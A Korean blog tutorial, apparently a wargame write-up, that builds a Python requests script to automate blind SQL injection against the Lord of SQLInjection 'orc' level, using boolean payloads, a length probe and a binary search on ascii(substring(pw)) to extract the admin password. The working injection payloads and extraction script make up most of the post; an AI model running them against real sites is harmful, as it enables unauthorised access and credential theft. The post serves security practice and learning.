본문 바로가기
WEB HACKING/웹 해킹[실습]

Python 자동화 코드 구현하기 : Blind SQL Injection

by madevth 2021. 11. 16.
반응형

Lord of SQLInjection 4단계 문제를 풀면서, 자동화 코드의 필요성을 느꼈다.

파이썬으로 LOS 4단계 풀이용 코드를 구현해보았다.

LOS 4단계 풀이 : [WarGames/SQL Injection] - Lord of SQL Injection : Orc[4]

생각보다 간단하게 짤 수 있으니 포스팅을 참고하여 직접 구현해보면 좋을 것 같다.

 

 

① Requests

LOS 4단계를 자동화 코드로 풀기 위해서는 해당 URL에 접속해서 SQL 구문을 넣어보고, 맞는지 틀리는지에 따라 또 다른 구문을 넣는 작업을 반복해야 한다. 따라서 HTTP 라이브러리인 requests를 import 해준다.

requests는 위와 같이 간단하게 사용할 수 있다. get 메소드를 사용하여 url에 접속하고, status_code를 통해 상태 코드를, [특정 텍스트] in (content or text)를 통해 화면에 출력된 콘텐츠를 확인할 수도 있다.

param = {"파라미터 명": "파라미터 값"}
cookie = {"PHPSESSID": "쿠키"}

req = requests.get(url, params = param, cookies = cookie)

위의 형태로 요청을 받아온 후 req.status_code, req.text를 사용해서 코드를 구현하면 된다.

 

4단계에서의 params는 pw이고, cookies는 나의 쿠키정보를 적어준다.

자동화 과정은 크게 요청 및 응답 분석 / 비밀번호 길이 찾기 / 비밀번호 찾기로 나뉜다.

 

 

② 요청 및 응답 분석

우선 쿠키를 집어넣고 요청이 잘 가는지 확인해보자.

쿠키는 개발자 모드 > Application > Cookies에서 확인할 수 있다.

빨간색으로 가려놓은 Value 값을 cookie 대신 적어준다.

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'cookie'} # 쿠키 값 넣기

req = requests.get(url, cookies = cookie)
print(req.status_code)

200 코드로 성공적으로 접속했음을 알 수 있다.

 

이제 응답을 분석해보자.

4단계에서는 참인지 거짓인지를 "Hello admin"이 뜨는지 안 뜨는지로 구분했었다.

따라서 자동화 과정에서도 Hello admin이 떴는지 안 떴는지를 검사할 수 있어야 한다.

 

처음 Blind SQLi를 쓸 수 있는지 없는지 테스트하는 데 사용되었던 or 1 = 1과 or 1 = 2를 가지고 요청의 참 거짓을 잘 구분할 수 있는지 테스트해보자.

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'cookie'}

param = {"pw": "' or 1 = 1 #"}
req = requests.get(url, params = param, cookies = cookie)

if "Hello admin" in req.text:
    print(param['pw'], "True")
else:
    print(param['pw'], "False")

param이 ' or 1 = 1 #일 때는 True, 1 = 2일 때는 False가 나왔다.

"Hello admin" in text 조건문을 통해 참 / 거짓을 구분할 수 있게 되었다.

 

 

③ 비밀번호의 길이를 알아내자.

이제 param을 넣어 비밀번호의 길이를 알아보자.

4단계 풀이에서는 param 값으로 [ ' or id = 'admin' and length(pw) > {} ]의 괄호 안의 값을 늘려나가다가 Hello Admin이 안 나오는 순간을 검사해서 비밀번호의 길이를 알아내었다.

자동화 코드에서는 [ ' or id = 'admin' and length(pw) = {} ]의 괄호 안의 값을 늘려나가다가 Hello Admin이 나오는 순간을 체크해볼 것이다.

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'cookie'}

def find_length():
    pwlength = 1

    while True:
        param = {"pw": "' or id = 'admin' and length(pw) = {} #".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        if "Hello admin" in req.text:
            return pwlength
        else:
            pwlength += 1
            
print("비밀번호의 길이는:", find_length())

Hello admin이 나오면 그때의 pwlength를 반환하고, 나오지 않는다면 1 늘려서 while문으로 검사를 반복해준다.

비밀번호의 길이를 잘 찾아냈다.

 

 

④ 비밀번호를 알아내자.

이제 비밀번호를 한 글자씩 알아낼 것이다.

비밀번호를 알아낼 때는 [ ' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} ]에서 첫 번째 괄호는 1부터 비밀번호 길이까지 반복문을 돌리고, 두 번째 괄호는 이진 탐색을 통해 값을 알아내는 방식을 사용했었다.

 

이진 탐색 코드는 다음과 같이 중간값보다 큰지 작은지를 판단해서 사용자가 선택한 숫자의 범위를 좁혀나간다.

value = int(input()) 

def binarySearch(s, e):
    mid = (s + e) // 2

    if value == mid:
        print("당신이 선택한 숫자는: ", mid)
    elif value > mid:
        binarySearch(mid, e)
    else:
        binarySearch(s, mid)

binarySearch(1, 127)

 

위에서 작성한 이진탐색 코드는 숫자와 중간값을 직접 비교할 수 있었지만, 우리의 경우에는 요청을 보낸 결과가 참인지 거짓인지에 따라 새로운 값을 넣어주어야 한다. 따라서 이진 탐색을 사용하는 것이 살짝 까다로울 수 있다.

이진탐색을 넣지 않으면 그냥 이중 for문으로 간단하게 코드를 짤 수 있겠지만, 효율을 높여보자.

def find_pw():
    length = find_length()
    password = ""
    for i in range(length):
        s = 1
        e = 127
        value = 64
        while True:
            param = {"pw": "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} #".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            if "Hello admin" in req.text:
                password += chr(value)
                break
            else:
                param = {"pw": "' or id = 'admin' and ascii(substring(pw, {}, 1)) > {} #".format(i+1, value)}
                req = requests.get(url, params = param, cookies = cookie)
                if "Hello admin" in req.text:
                    s = value
                    value = (value + e) // 2
                else:
                    e = value
                    value = (s + value) // 2
    print("비밀번호는: ", password)

find_pw()

 

 

코드를 설명하자면, 위에서 만들었던 find_length() 함수를 통해 비밀번호의 길이를 얻은 후 반복문을 돌린다.

아스키코드의 첫 번째 값(s), 두 번째 값(e)과 중간값(value)을 설정해주고 요청을 보낸다.

value 값과 같다면, password에 value를 문자로 바꾼 값을 붙여주고, 다르다면 큰지 작은지에 따라 value 값을 조정해서 넣어준다. 

 

결과가 잘 나오는지 확인해보자.

 

 

전체 코드는 다음과 같다.

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID': 'cookie'}

def find_length():
    pwlength = 1

    while True:
        param = {"pw": "' or id = 'admin' and length(pw) = {} #".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        if "Hello admin" in req.text:
            return pwlength
        else:
            pwlength += 1

def find_pw():
    length = find_length()
    password = ""
    for i in range(length):
        s = 1
        e = 127
        value = 64
        while True:
            param = {"pw": "' or id = 'admin' and ascii(substring(pw, {}, 1)) = {} #".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            if "Hello admin" in req.text:
                password += chr(value)
                break
            else:
                param = {"pw": "' or id = 'admin' and ascii(substring(pw, {}, 1)) > {} #".format(i+1, value)}
                req = requests.get(url, params = param, cookies = cookie)
                if "Hello admin" in req.text:
                    s = value
                    value = (value + e) // 2
                else:
                    e = value
                    value = (s + value) // 2
    print("비밀번호는: ", password)

find_pw()

 

반응형

댓글